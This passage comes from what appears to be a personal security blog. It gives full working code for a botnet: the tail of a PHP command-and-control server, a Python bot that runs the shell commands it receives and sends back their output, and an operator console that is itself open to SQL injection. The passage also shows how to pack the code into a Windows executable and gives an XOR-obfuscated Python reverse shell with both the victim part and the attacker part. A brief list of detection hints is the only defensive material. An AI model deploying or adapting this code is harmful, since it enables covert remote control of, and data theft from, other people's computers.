    $stmt->store_result();
    $rowCount = $stmt->num_rows;
    $stmt->bind_result($httpCommand);
    if ($rowCount > 0) {
            while ($stmt->fetch()) {
                echo "$httpCommand";
            } 
    }
    else {
     echo base64_encode("NOTHING");
    } 
   }
  }
 }
 else if (isset($_POST["machineID"])) {
  $machineID = $_POST['machineID'];
  $httpCommand = $_POST['command']; 
  $httpResults = $_POST['output'];
  $stmt = $mysqli->stmt_init();
  $sqlUpdate="UPDATE botInfo SET httpResults=?, executed='Y' WHERE machineID=? AND httpCommand=?";
  if ($stmt->prepare($sqlUpdate)) {
   $stmt->bind_param("sss", $httpResults, $machineID, $httpCommand);
   $stmt->execute();
  }
 }




Now that you have the server setup and ready, you need to connect a bot.  A bot is simply an infected computer or a compromised computer.  In this case it was a virtual machine I was running.  The below python code is designed to communicate to the C&C server and let it know it exists, ask for commands to execute, and then return the results.

Observe that the bot is requesting a web page which then returns the actions the bot should take.  This sometimes can be difficult to detect if you have over 50 users using an internet connection and they are frequently browsing the web.

The python code can also be made into a windows executable with utilizing a tool like pyinstaller.



#!/usr/bin/python

import sys
import requests
import socket
import os
import hashlib
import struct
import time
import subprocess
import base64

sleepTime=10 # The amount of seconds to sleep between web requests

# http://stackoverflow.com/questions/11735821/python-get-localhost-ip
if os.name != "nt":
    import fcntl
    def get_interface_ip(ifname):
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', ifname[:15]))[20:24])

def getMachineID():
    ip = socket.gethostbyname(socket.gethostname())
    hostName = socket.gethostbyname(socket.gethostname())
    if ip.startswith("127.") and os.name != "nt":
        interfaces = [
            "eth0",
            "eth1",
            "eth2",
            "wlan0",
            "wlan1",
            "wifi0",
            "ath0",
            "ath1",
            "ppp0",
            ]
        for ifname in interfaces:
            try:
                ip = get_interface_ip(ifname)
                break
            except IOError:
                pass 
    # Hash IP
    uniqID = ip + hostName
    hashedIP = hashlib.sha1(uniqID).hexdigest()
    return hashedIP

def syncRequest(mID, osN, wAddr):
 # http://stackoverflow.com/questions/645312/what-is-the-quickest-way-to-http-get-in-python
 url = wAddr + "?func=sync&machineID=" + mID + "&osName=" + osN
 r = requests.get(url)
 #print url
 #print r.content
 return r.status_code

def doRequest(mID, wAddr):
 url = wAddr + "?func=do&machineID=" + mID
 headers = {'Accept-encoding':'gzip'}
 r = requests.get(url, headers=headers)
 commandReturned = r.content.lstrip()
 commandReturned = base64.b64decode(commandReturned.rstrip())
 print commandReturned
 return commandReturned

def executeCommand(com):
 comExec = subprocess.Popen(str(com), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
 STDOUT, STDERR = comExec.communicate()
 if STDOUT:
  encodedOutput = base64.b64encode(STDOUT)
 else:
  encodedOutput = base64.b64encode("Invalid Command...")
 return encodedOutput

def postOutput(mID, comExec, outputC, wAddr):
 url = wAddr
 r = requests.post(url, data={'machineID':mID, 'command':comExec, 'output':outputC})
 return str(r.status_code) + " " + r.content

# -------------------- Main ---------------

def main():
 #websiteAddr="http://192.168.242.1/index.php" # This is the address and page that it calls back to
 if len(sys.argv) == 2:
  websiteAddr = sys.argv[1]
  #print websiteAddr
  machineID = getMachineID()  # Gathers the hostname and the IP Address and returns it as the machine ID
  osName = os.name
  statusCode = syncRequest(machineID, osName, websiteAddr)      # Sends an initial request to the database of the machine ID - Allows db to create entry if it does not exist
  while True:
   time.sleep(sleepTime) 
   if (statusCode == 200):
    command = doRequest(machineID, websiteAddr) 
    if command == "NOTHING":
     continue
    else:
     outputCommand = executeCommand(command)
     encodedCommand = base64.b64encode(command)
     uploadStatus = postOutput(machineID, encodedCommand, outputCommand, websiteAddr)
     #print uploadStatus.strip()
 else:
  print "Usage: ./script.py \"http://www.yourremoteserver.com/index.php\""
  print "The URL above has to be the location of where you placed your PHP"

if __name__ == "__main__":
 main()



The last component is the ability for the bot herder to control the botnet, see the results of commands that were executed, and then issue additional commands to the bots.  This component was also coded in python.  Though I am running the code on the same computer as the web server, this could be done from a remote location which is normally the case.



#!/usr/bin/python

import MySQLdb
import sys
import base64

db = MySQLdb.connect(host="127.0.0.1", user="wordpress", passwd="supersecurepassword", db="command")
cursor = db.cursor()

def sendCommand(mID, osT):
 print
 print "Send the following command to machineID: " + mID
 selection = raw_input("$ ")
 encodedSelection = base64.b64encode(selection)
 if len(selection) > 1:
  sql = "INSERT INTO botInfo (machineID, osType, httpCommand, executed) VALUES ('" + mID + "','" + osT + "','" + encodedSelection + "','N')"
  cursor.execute(sql)
  db.commit()
 main()

def controlBot(botID):
 while True:
  sql = "SELECT machineID, osType, httpCommand, httpResults, executed FROM botInfo WHERE id=" + botID
  cursor.execute(sql)
  db.commit()
  if (cursor.rowcount > 0):
   for row in cursor.fetchall():
    id = botID
    machineID = row[0]
    osType = row[1]
    httpCommand = base64.b64decode(row[2])
    encodedResults = row[3]
    if encodedResults:
     httpResults = base64.b64decode(encodedResults)
    else:
     httpResults = "Pending..."
    executed = row[3]
    print
    print "BotID: " + id + " MachineID: " + machineID
    print "Command: " + httpCommand
    print 
    print "Results:"
    print httpResults
    print
   print "I. Issue Command to Bot"
   print "R. Refresh"
   print "Q. Return to Main"
   selection = raw_input(id+"$ ")
   if (selection == 'I') | (selection == 'i'):
    sendCommand(machineID, osType)
   elif (selection == 'Q') | (selection == 'q'):
    main()
   else:
    continue
  else:
   print "Invalid numerical selection."
   break


def main():
 while True:
  print 
  print "Select the number preceding the botID or the following options:"
  sql = "SELECT id, machineID, httpCommand, executed FROM botInfo"
  cursor.execute(sql)
  db.commit()
  if (cursor.rowcount > 0):
   for row in cursor.fetchall():
    id = row[0]
    machineID = row[1]
    httpCommand = base64.b64decode(row[2])
    executed = row[3]
    if executed == 'Y':
     httpResultsExist="Y"
    else:
     httpResultsExist="N"
    print str(id) + ". BotID:" + machineID + " C:" + httpCommand + " R:" + httpResultsExist
  print
  print "R. Refresh"
  print "Q. Quit"
  selection = raw_input("$ ")
  if (selection == 'Q') | (selection == 'q'):
   sys.exit(0)
  elif (selection == 'R') | (selection == 'r'):
   continue
  else:
   controlBot(selection)

if __name__ == "__main__":
        main()



After you have put in-place all of these components, you can use tshark and other tools to identify this activity.  A few hints on detection:

1. Evaluate the user agent header
2. Evaluate the reputation of the URL or destination IP Address
3. Evaluate the URL that is being visited
4. Look at the GET and POST requests that are made and the responses received
5. Whitelist executables on computers
6. Monitor logs of the web servers to detect tampering of files
7. Monitor logs of workstations to detect interesting activity
and more and more and more...

Please provide any feedback that you may have.  If the code is broken let me know.  Sometimes placing it into blogger it makes subtle changes to it and I may not have noticed it.


Thursday, June 4, 2015

Setup pyinstaller on Windows 7

These are some quick notes on how I installed pyinstaller on Windows 7.

1. Installed Python 2.7 on Windows 7: https://www.python.org/downloads/release/python-2710/

2. Installed the Python 2.7 for Windows Extensions: http://sourceforge.net/projects/pywin32/?source=typ_redirect

3. Installed the Microsoft C++ for Python 2.7.

4. Installed the pip-Win to easily install packages: https://sites.google.com/site/pydatalog/python/pip-for-windows

5. Then after pip-Win is installed a dialogue box as shown in the below picture is left open. Then you can insert in the command box: "pip install pyinstaller"



6. After the pyinstaller package is successfully installed then from the command-line you can navigate to c:]python2.7\Scripts

7. Here is where you can find the pyinstaller.exe file.  Then you can run it accompanied by any script that has been created.  Below is the screenshot of creating my python reverse shell script located in a previous post into a windows executable.  With the command-line switch of --onefile it creates a single executable with no dependencies.



8. After pyinstaller finishes, the executable will be located in the folder where the script is located under the dist folder.

9.  To test the "server_reverse_tcp.exe" I setup my Kali box to listen, then the server_reverse_tcp.exe ran flawlessly as shown in the screenshot:


Monday, June 1, 2015

Python Reverse Shell - Modified from Primal Security Blog (Updated June 5)

The following Python reverse shell is taken from the Primal Security Blog located at the following link:  http://www.primalsecurity.net/0x2-python-tutorial-reverse-shell/

I modified the code so the XOR value, port and IP Addresses can be set as command line options on the server or as options on the client.  As long as the XOR value on the client and the server match the commands will run properly.  How I modified the python was from the information located at the following blog: http://dabeaz.blogspot.com/2010/01/few-useful-bytearray-tricks.html

Server Code (Victim):
#!/usr/bin/python
 
import socket,subprocess,sys

if len(sys.argv) == 4:
 RHOST = sys.argv[1]
 RPORT = sys.argv[2]
 xorkey = sys.argv[3]
 xorkey = int(xorkey)
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((RHOST, int(RPORT)))
 
 while True:
       # recieve XOR encoded data from network socket
       data = s.recv(1024)
       # XOR the data again with a '\x41' to get back to normal data
       en_data = bytearray(data)
       en_data = bytearray(x ^ xorkey for x in en_data)
 
       # Execute the decoded data as a command.  The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable
       comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
       STDOUT, STDERR = comm.communicate()
 
       # Encode the output and send to RHOST
  if STDOUT:
        en_STDOUT = bytearray(STDOUT)
        en_STDOUT = bytearray(x ^ xorkey for x in en_STDOUT)
        s.send(en_STDOUT)
  else:
        en_STDOUT = bytearray("Invalid command...")
        en_STDOUT = bytearray(x ^ xorkey for x in en_STDOUT)
        s.send(en_STDOUT)
 s.close()

else:
 print "Example usage: ./prog   "
 print "The xor key is an integer from 0 to 256"

Client Code (Attacker):
#!/usr/bin/python

import socket
import time

# TCP Reverse Shell using Python
# Adapted from http://www.primalsecurity.net/0x2-python-tutorial-reverse-shell/

# Gather IP Address to Bind to
ipAddr = raw_input('Input Listening IP Address: ')
portNum = raw_input('Input Listening Port: ')
xorkey = raw_input('XOR Key (0-256): ')
xorkey = int(xorkey)

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ipAddr, int(portNum)))
s.listen(2)
print "Listening on port " + portNum + "..."
(client, (ip, port)) = s.accept()
print "Received connection from: " + ip

while True:
 command = raw_input('~$ ')
 if len(command) > 1: 
  encode = bytearray(command)
  encode = bytearray(x ^ xorkey for x in encode)
  client.send(encode)
  outputReceived=''
  while 1:
   en_data=client.recv(1024)
   if len(en_data) < 1024:
    decode = bytearray(en_data)
    decode = bytearray(x ^ xorkey for x in decode)
    outputReceived += decode
    break
   else:
    decode = bytearray(en_data)
    decode = bytearray(x ^ xorkey for x in decode)
    outputReceived += decode
  print outputReceived

client.close()
s.close()

The code for the client, server and a compiled exe using pyinstaller can be found on my google drive at the following link.

Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...